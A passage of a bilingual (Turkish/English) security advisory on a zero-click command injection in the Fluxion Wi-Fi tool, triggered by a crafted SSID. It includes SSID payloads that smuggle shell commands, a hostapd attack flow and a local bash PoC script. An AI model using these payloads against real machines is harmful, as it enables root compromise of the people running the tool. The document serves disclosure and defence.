loglarda, farklı bir ekranda) görüntülense bile SSID’nin sıradan/bozuk bir karakter dizisi gibi görünmesini sağlayabilir. Bu, tespiti geriye dönük olarak da zorlaştırır.</li><li>Özetle: payload’ı “gizleyen” şey bir şifreleme ya da obfuscation tekniği değil, <strong>zafiyetli kodun payload’ı herhangi bir görsel inceleme fırsatından önce çalıştırmasıdır</strong> — bu da onu tipik “kullanıcıyı kandırma” gerektiren saldırılardan çok daha tehlikeli kılar.</li></ul><h3>3.3 Enjeksiyon Noktası: SSID/ESSID Alanı</h3><p>Netlik için: bu saldırıda tek enjeksiyon noktası, saldırganın erişim noktasının <strong>beacon/probe response frame’lerinde yayınladığı SSID (Service Set Identifier), yani ESSID alanıdır</strong>. Saldırganın ihtiyaç duyduğu tek şey:</p><ul><li>Kontrolündeki bir erişim noktasını (ör. hostapd ile), ağ adı (SSID/ESSID) olarak Bölüm 2.5&#39;teki payload&#39;ı (\&#39;; touch /tmp/pwned # benzeri) yayınlayacak şekilde yapılandırmak.</li><li>Başka hiçbir protokol alanının (ör. BSSID, şifreleme ayarları, kanal) değiştirilmesine veya özel bir donanıma gerek yoktur — standart bir Wi-Fi erişim noktası/adaptörü yeterlidir.</li><li>Mağdur tarafında tetikleyici, bu SSID’nin Fluxion’un çalıştığı cihaz tarafından <strong>görülmesi/taranmasıdır</strong>; mağdurun bu ağa bağlanması veya onu hedef olarak seçmesi gerekmez.</li></ul><h3>4. Tetiklenme Yolu ve Saldırı Akışı</h3><p>fluxion_get_target(), Fluxion&#39;un her saldırı modülü (Handshake Snooper, Captive Portal, vb.) için aday-ağ listesini oluşturan tek, paylaşılan rutin. Rutin, hedef taramasının normal bir parçası olarak koşulsuz çağrılıyor (fluxion.sh:2499).</p><ol><li><strong>Saldırgan:</strong> Bir Wi-Fi AP’yi (ör. hostapd ile) bölüm 2.5&#39;teki SSID&#39;yi yayınlayacak şekilde yapılandırır.</li><li><strong>Mağdur:</strong> Fluxion’u normal şekilde çalıştırıp rutin bir AP taraması yapar (herhangi bir saldırı modülü, ya da headless --scan-only). Mağdurun saldırganın AP&#39;sini seçmesine/hedeflemesine gerek yok.</li><li><strong>Otomatik (Fluxion içinde):</strong> Tarama tamamlandıktan sonra fluxion_get_target(), taranan her AP üzerinde döner (fluxion.sh:1783) ve saldırganın girdisi için satır 1844&#39;teki zafiyetli eval çağrısına ulaşır — bu, seçim menüsü mağdura gösterilmeden <strong>önce</strong> olur.</li><li><strong>Etki:</strong> Enjekte edilen komut anında çalışır, Fluxion’un yetki seviyesini (standart yapılandırmada root) miras alır.</li></ol><p><strong>Saldırı modundan bağımsız:</strong> fluxion_get_target() tüm modüller tarafından paylaşılan altyapı olduğu için, hangi saldırı modunun seçildiği bu sorunu tetiklemek için önemsiz — sadece tarama eylemi yeterli.</p><h3>5. Lab Doğrulama Kanıtı</h3><p>İzole lab ortamında elde edilen kanıt:</p><pre>$ ls -la /tmp/pwned<br>-rw-r--r-- 1 root root 0 Kas 1 15:33 /tmp/pwned</pre><p>Dosyanın root:root sahipliği, enjekte edilen komutun root yetkisiyle çalıştığını doğruluyor.</p><h3>6. İkincil İlişkili Bulgu (Düşük Güven — doğrulanmadı)</h3><p>attacks/Captive Portal/attack.sh (~satır 1208–1224) içinde, aynı ESSID alanından türeyen $FluxionTargetSSID değeri, verifiedCondition değişkenine <strong>unescaped</strong> olarak interpolate ediliyor:</p><pre>local -r verifiedCondition=&quot;cowpatty -f \&quot;$FLUXIONWorkspacePath/candidate.txt\&quot; \<br>-r \&quot;$CaptivePortalHashPath\&quot; -s \&quot;$FluxionTargetSSID\&quot; &amp;&gt;&gt; $FLUXIONOutputDevice&quot;</pre><p>Bu string daha sonra üretilen bir yardımcı script’e (captive_portal_authenticator.sh) yazılıp unquoted variable expansion ile çalıştırılıyor (if $verifiedCondition; then). Bash, çift tırnak içinde bile $(...) ve backtick için command substitution yaptığından, $(touch /tmp/pwned2) gibi bir command substitution içeren SSID&#39;nin bu kod yolu çalıştığında tetiklenmesi bekleniyor.</p><p><strong>Not:</strong> Birincil bulgunun aksine, bu yol saldırganın ağının Captive Portal hedefi olarak aktif şekilde seçilmesini gerektiriyor ve bağımsız olarak doğrulanmadı. Tamlık amacıyla dahil edilmiştir, maintainer’lar tarafından birincil bulguyla birlikte doğrulanmalıdır — ikisi de aynı kök nedenden (sanitize edilmemiş ESSID verisinin shell evaluation bağlamlarına ulaşması) kaynaklanıyor.</p><h3>7. Etki</h3><ul><li>Operatörün makinesinin, genelde <strong>root yetkisiyle</strong>, Wi-Fi menzilindeki herhangi bir cihazdan <strong>tam ele geçirilmesi</strong>.</li><li>Mağdurun kablosuz ağıyla herhangi bir kimlik doğrulama, eşleştirme veya önceden ilişki gerekmiyor — saldırganın rogue AP’sinin, mağdurun denetlemeyi planladığı kanal/bantta bile olması gerekmiyor; sadece tarama sırasında görünür olması yeterli.</li><li>Mağdur tarafında rutin kullanım dışında etkileşim gerekmiyor — bu özellikle vahim, çünkü Fluxion’un kendisi, bir müşterinin kablosuz ortamını denetlerken ele geçirilebilecek pentester’lar ve güvenlik araştırmacıları tarafından çalıştırılan bir güvenlik test aracı.</li><li>Pratik sonuçlar: persistence/backdoor kurulumu, kimlik bilgisi hırsızlığı, operatörün ağına pivot, veya yıkıcı eylemler — hepsi Fluxion’un çalıştığı yetki seviyesinde (genelde root).</li></ul><h3>ENGLISH VERSION</h3><h3>Unauthenticated Remote Command Injection via eval() on Attacker-Controlled ESSID in Fluxion</h3><p><strong>Product</strong> Fluxion (FluxionNetwork/fluxion) <strong>Version Tested</strong> v6.32 (also present in current GitHub master, internal version string FLUXION V6.38) <strong>Vulnerability Class</strong> CWE-78 (OS Command Injection) via CWE-95 (Eval Injection), root cause also involves CWE-20 (Improper Input Validation of untrusted 802.11 data) <strong>Affected Component</strong> fluxion.sh → fluxion_get_target(), lines ~1839–1844 <strong>Attack Vector</strong> Adjacent (IEEE 802.11 / Wi-Fi radio range) <strong>Privileges Required</strong> None (on the attacker&#39;s side) <strong>User Interaction</strong> None (the victim only needs to run a routine Wi-Fi scan) <strong>Privileges Gained</strong> Same privileges as the Fluxion process — typically <strong>root</strong> (required for monitor-mode operations) <strong>CVSS 3.1</strong> AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → <strong>8.8 (High)</strong>, trending toward Critical in practice given the typical root execution context <strong>CVE</strong> CVE-2026-125399 <strong>Status</strong> Patched (v6.39) <strong>Discovery Date</strong> November 4, 2026 <strong>Vendor Notification Date</strong> November 4, 2026</p><h3>1. Executive Summary</h3><p>Fluxion builds its list of candidate Wi-Fi access points by parsing the CSV output of airodump-ng. To render non-ASCII bytes that may appear in a network&#39;s SSID, the code passes the SSID field through Bash&#39;s eval builtin after applying a single, <strong>incomplete</strong> sanitization step (escaping embedded single-quote characters). Because this sanitization does not account for a pre-existing backslash character immediately preceding a single quote in the SSID, an attacker broadcasting a Wi-Fi access point with a crafted SSID can break out of the intended quoting context and cause arbitrary shell commands to be executed by eval.</p><p>Critically, this code path runs <strong>unconditionally for every access point discovered during a scan</strong>, before the operator is even shown the target-selection list. No attack mode needs to be chosen, no target needs to be selected, and no further interaction is required from the person running Fluxion — simply scanning for nearby networks is sufficient to trigger the vulnerability. Since Fluxion typically must run as root to place a wireless interface into monitor mode, the attacker-controlled command executes with <strong>root privileges</strong>.</p><h3>2. Vulnerability Details</h3><h3>2.1 Classification</h3><ul><li><strong>CWE-78</strong> — Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)</li><li><strong>CWE-95</strong> — Improper Neutralization of Directives in Dynamically Evaluated Code (‘Eval Injection’) — the proximate root cause</li><li><strong>CWE-20</strong> — Improper Input Validation of data received over an untrusted channel (the 802.11 SSID information element, fully attacker-controlled)</li></ul><h3>2.2 CVSS v3.1 Vector Breakdown</h3><p>Metric Value Rationale AV Adjacent Only Wi-Fi radio proximity is required, not network authentication or prior association AC Low The payload is a static, reliably-crafted SSID string; no race condition or timing dependency PR None No credentials required UI None No victim interaction beyond a routine scan S Unchanged C/I/A High/High/High Arbitrary command execution, typically as root, on the operator’s machine</p><p><strong>Base Score: 8.8 (High)</strong></p><h3>2.3 Root Cause — Affected Code</h3><p>File: fluxion.sh, function fluxion_get_target(), approximately lines 1839–1844:</p><pre># Parse any non-ascii characters by letting bash handle them.<br># Escape all single quotes in ESSID and let bash&#39;s $&#39;...&#39; handle it.<br>local sanitizedESSID=$(<br>  echo &quot;${candidateAPInfo//\&#39;/\\\&#39;}&quot; | cut -d , -f 14<br>)<br>candidatesESSID[i]=$(eval &quot;echo \$&#39;$sanitizedESSID&#39;&quot;)</pre><p>candidateAPInfo is one CSV row produced by airodump-ng for a detected access point; field 14 is the network&#39;s ESSID (SSID), which per the 802.11 standard is an attacker-controlled, free-form byte string of up to 32 bytes. The only sanitization applied is replacing every literal single-quote character (&#39;) in the SSID with an escaped single quote (\&#39;), after which the result is embedded inside a Bash ANSI-C-quoted string ($&#39;...&#39;) and passed to eval.</p><h3>2.4 Sanitization Bypass Mechanism</h3><p>The substitution ${candidateAPInfo//\&#39;/\\\&#39;} only rewrites quote characters that are already present in the SSID; it does not account for a backslash character the attacker places immediately before one of those quotes. If the SSID begins with the two literal bytes \ (backslash) and &#39; (single quote), the substitution turns that pair into three characters: \\&#39; (backslash, backslash, quote).</p><p>When this is evaluated inside Bash’s $&#39;...&#39; ANSI-C quoting, the sequence \\ is a recognized escape that decodes to a single literal backslash and is consumed as one unit. The quote character that immediately follows is therefore no longer escaped and is interpreted as the real, closing delimiter of the $&#39;...&#39; string. Any text the attacker places after that quote is parsed as ordinary shell syntax by eval and executed.</p><h3>2.5 Proof-of-Concept Payload (harmless, for evidentiary purposes)</h3><p>An SSID consisting of the following literal bytes (21 bytes, well within the 32-byte 802.11 SSID limit) is sufficient:</p><pre>\&#39;; touch /tmp/pwned #</pre><p>Byte(s) Purpose \ A literal backslash, immediately before a quote, to defeat the sanitizer &#39; Combined with the escaped quote produced by the sanitizer, closes the Bash $&#39;...&#39; string early ; Shell command separator, starts a new command inside the eval&#39;d line touch /tmp/pwned Arbitrary attacker-chosen command (proof-of-concept payload) # Comments out the remainder of the original eval&#39;d line so it fails safely</p><p>The resulting literal string that reaches eval is of the form eval &quot;echo $&#39;...\\&#39;; touch /tmp/pwned #...&#39;&quot;, which Bash parses as: print the (truncated) SSID text, then separately execute touch /tmp/pwned, then treat the rest of the original line as a comment.</p><h3>3. Zero-Click Characteristics and Payload Concealment</h3><h3>3.1 This Is a Zero-Click Vulnerability</h3><p>What makes this vulnerability especially severe is that it requires <strong>no deliberate interaction from the victim whatsoever</strong>:</p><ul><li>The victim never needs to see, select, target, or otherwise interact with the attacker’s access point in any way.</li><li>All that is required is for the victim to run Fluxion for its normal, intended purpose and perform a <strong>routine Wi-Fi scan</strong> — an action every user of the tool inevitably performs regardless of what they intend to do afterward.</li><li>The injection fires automatically the moment the attacker’s AP is <strong>merely physically present</strong> among the scanned networks, before any selection screen is ever shown to the operator.</li><li>This meets the textbook definition of “zero-click”: the attacker never needs the victim to take any action (clicking, confirming, connecting, authenticating) to execute the payload; the victim’s ordinary use of the tool is, by itself, sufficient.</li></ul><h3>3.2 The Payload Is Structurally Hidden From the Victim</h3><p>The “concealment” here does not come from the attacker visually disguising the SSID — it comes from the <strong>architecture of the vulnerable code path itself</strong>:</p><ul><li>The vulnerable eval call executes while fluxion_get_target() is <strong>building</strong> the candidate-network list, i.e. strictly <strong>before</strong> that list is ever displayed to the operator (see Sections 2.3–2.4 and Section 4).</li><li>As a result, there is <strong>never a moment</strong>, even after the command has already executed, at which the victim could have noticed the suspicious SSID and made a decision. The opportunity for inspection or suspicion is structurally eliminated by design of the vulnerable flow.</li><li>Additionally, within the 32-byte SSID limit, an attacker can keep the visible/printable portion of the payload short or combine it with non-printable control bytes, so that even if the network list were later surfaced somewhere (logs, a different screen), the SSID would appear as an ordinary or garbled string rather than an obvious attack string — complicating retrospective detection as well.</li><li>In short, what “hides” the payload is not encryption or obfuscation but the fact that <strong>the vulnerable code executes the payload before any opportunity for visual inspection exists</strong> — which makes it considerably more dangerous than attacks that rely on tricking a user into clicking or approving something.</li></ul><h3>3.3 Injection Point: The SSID/ESSID Field</h3><p>To be explicit: the single injection point for this attack is the <strong>SSID (Service Set Identifier), i.e. the ESSID field, broadcast by the attacker’s access point in its beacon/probe response frames</strong>. All the attacker needs to do is:</p><ul><li>Configure an access point under their control (e.g. via hostapd) to broadcast the payload from Section 2.5 (e.g. \&#39;; touch /tmp/pwned #) as its network name (SSID/ESSID).</li><li>No other protocol field (BSSID, encryption settings, channel, etc.) needs to be modified, and no special hardware is required — a standard Wi-Fi access point/adapter is sufficient.</li><li>On the victim’s side, the only trigger condition is that this SSID is <strong>seen/scanned</strong> by the device running Fluxion; the victim does not need to connect to this network or select it as a target.</li></ul><h3>4. Trigger Path and Attack Flow</h3><p>The vulnerable code sits in fluxion_get_target(), the single shared routine Fluxion uses to build and display the candidate-network list for every attack module (Handshake Snooper, Captive Portal, etc.). It is invoked unconditionally as part of ordinary target scanning, at fluxion.sh:2499 (fluxion_get_target &quot;$targetInterface&quot;).</p><p>Attack flow, as reproduced in the lab:</p><ol><li><strong>Attacker:</strong> Configure a Wi-Fi access point (e.g. via hostapd) to broadcast the crafted SSID described in Section 2.5. No special radio hardware beyond a standard Wi-Fi AP/adapter is required.</li><li><strong>Victim:</strong> Run Fluxion normally and perform a routine access-point scan (any attack module, or headless mode via --scan-only). The victim does not need to select, target, or otherwise interact with the attacker&#39;s access point.</li><li><strong>Automatic (inside Fluxion):</strong> After the scan completes, fluxion_get_target() iterates over every discovered access point (fluxion.sh:1783, for candidateAPInfo in &quot;${FluxionTargetCandidates[@]}&quot;) to build the on-screen candidate list, reaching the vulnerable eval call at line 1844 for the attacker&#39;s entry <strong>before</strong> the selection menu is ever shown to the victim.</li><li><strong>Impact:</strong> The injected command executes immediately, inheriting Fluxion’s privilege level (root, in the standard configuration required for monitor-mode Wi-Fi operations).</li></ol><p><strong>No attack-mode dependency:</strong> because fluxion_get_target() is shared infrastructure used by every attack module, the choice of attack (Captive Portal, Handshake Snooper, or any other) is irrelevant to triggering this issue — only the act of scanning matters.</p><h3>5. Lab Reproduction Evidence</h3><p>Evidence obtained in an isolated lab environment:</p><pre>$ ls -la /tmp/pwned<br>-rw-r--r-- 1 root root 0 Nov 1 15:33 /tmp/pwned</pre><p>The file’s root:root ownership confirms that the injected command ran with root privileges.</p><h3>6. Secondary Related Finding (Lower Confidence — Unverified)</h3><p>In attacks/Captive Portal/attack.sh (approximately lines 1208–1224), the attacker-controlled SSID ($FluxionTargetSSID, derived from the same ESSID field) is interpolated, <strong>unescaped</strong>, into a shell command string stored in the variable verifiedCondition:</p><pre>local -r verifiedCondition=&quot;cowpatty -f \&quot;$FLUXIONWorkspacePath/candidate.txt\&quot; \<br>-r \&quot;$CaptivePortalHashPath\&quot; -s \&quot;$FluxionTargetSSID\&quot; &amp;&gt;&gt; $FLUXIONOutputDevice&quot;</pre><p>This string is later written into a generated helper script (captive_portal_authenticator.sh) and executed via unquoted variable expansion (if $verifiedCondition; then). Because Bash performs command substitution for $(...) and backticks even inside double quotes, an SSID containing a command substitution sequence (e.g. $(touch /tmp/pwned2)) is expected to execute when this code path runs.</p><p><strong>Note:</strong> Unlike the primary finding, this path requires the attacker’s network to be actively selected as the Captive Portal target and was not independently reproduced during this assessment. It is included here for completeness and should be verified by the maintainers alongside the primary finding, as both stem from the same root cause (untrusted ESSID data reaching shell evaluation contexts without adequate sanitization).</p><h3>7. Impact</h3><ul><li>Full compromise of the operator’s machine, typically with <strong>root privileges</strong>, from arbitrary devices within Wi-Fi range.</li><li>No authentication, pairing, or prior relationship with the victim’s wireless network is required — the attacker’s rogue AP need not even use a channel/band the victim intends to audit; it only needs to be visible during the scan.</li><li>No victim interaction beyond routine use of the tool — this is especially severe because Fluxion is itself a security-testing tool typically run by penetration testers and security researchers, who could be compromised while auditing a client’s wireless environment.</li><li>Practical consequences include planting persistence/backdoors, credential theft, pivoting into the operator’s network, or destructive actions — all at the privilege level Fluxion runs with (commonly root).</li></ul><pre>#!/usr/bin/env bash<br>#<br># Local, isolated PoC for the eval/quoting bug in Fluxion&#39;s<br># fluxion_get_target() (fluxion.sh ~line 1839-1844).<br>#<br># Bu script GERÇEK Wi-Fi donanımı, hostapd veya Fluxion&#39;un kendisini<br># GEREKTIRMEZ. Sadece zafiyetli kod parçasının izole bir kopyasını,<br># gerçek bir airodump-ng CSV satırını taklit eden sahte (sentetik) bir<br># veriyle besleyerek kök nedeni (eval + ANSI-C quoting kaçışı) kanıtlar.<br>#<br># Kullanım:<br>#   bash poc_local.sh<br>#<br># Beklenen sonuç:<br>#   /tmp/fluxion-poc-pwned dosyası oluşur -&gt; eval injection kanıtlanmış olur.<br><br>set -u<br><br>PROOF_FILE=&quot;/tmp/fluxion-poc-pwned&quot;<br>rm -f &quot;$PROOF_FILE&quot;<br><br>echo &quot;[*] Fluxion eval-injection PoC (local, isolated, no real Wi-Fi required)&quot;<br>echo &quot;[*] Expected proof file: $PROOF_FILE&quot;<br><br># --- Saldırgan tarafından yayınlanan, saldırganın tam kontrolünde olan<br>#     ESSID (802.11&#39;de 32 bayta kadar serbest biçimli attacker data).<br>#     Gerçek saldırıda bu kablosuz frame üzerinden gelir; burada payload&#39;ı<br>#     doğrudan bir değişkende tutuyoruz çünkü radyo katmanı yerel PoC&#39;un<br>#     konusu değil, bash eval mantığı konusu.<br>MALICIOUS_ESSID=$&#39;\\\x27; touch &#39;&quot;$PROOF_FILE&quot;$&#39; #&#39;<br><br># --- airodump-ng&#39;nin ürettiği CSV satırının izole bir taklidi.<br>#     Gerçek formatta 14 virgülle ayrılmış alan var; 14. alan ESSID.<br>#     Burada sadece ilk 13 alanı placeholder ile dolduruyoruz, önemli olan<br>#     14. alanın (ESSID) saldırgan kontrollü veriyi taşıması.<br>build_fake_csv_row() {<br>  local placeholders<br>  placeholders=$(printf &#39;f%.0s,&#39; {1..13})  # 13 placeholder alan + virgül<br>  echo &quot;${placeholders}${MALICIOUS_ESSID}&quot;<br>}<br><br>candidateAPInfo=&quot;$(build_fake_csv_row)&quot;<br>echo &quot;[*] Simulated airodump-ng CSV row (ESSID field highlighted):&quot;<br>echo &quot;    ...,${MALICIOUS_ESSID}&quot;<br><br># --- fluxion.sh&#39;deki fluxion_get_target() fonksiyonunun izole kopyası<br>#     (rapordaki satır 1839-1844 ile birebir aynı mantık).<br>sanitizedESSID=$(<br>  echo &quot;${candidateAPInfo//\&#39;/\\\&#39;}&quot; | cut -d , -f 14<br>)<br><br>echo &quot;[*] After the (incomplete) sanitization step, sanitizedESSID =&quot;<br>echo &quot;    $sanitizedESSID&quot;<br><br># Zafiyetli satır: untrusted veri eval&#39;a gidiyor.<br>eval &quot;echo \$&#39;$sanitizedESSID&#39;&quot; &gt; /dev/null<br><br>echo<br>if [[ -f &quot;$PROOF_FILE&quot; ]]; then<br>  echo &quot;[+] SUCCESS: eval injection confirmed.&quot;<br>  echo &quot;[+] Proof file created: $PROOF_FILE&quot;<br>  ls -la &quot;$PROOF_FILE&quot;<br>else<br>  echo &quot;[-] Proof file not found — payload veya quoting&#39;i kontrol edin.&quot;<br>fi</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=97d34948b794" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>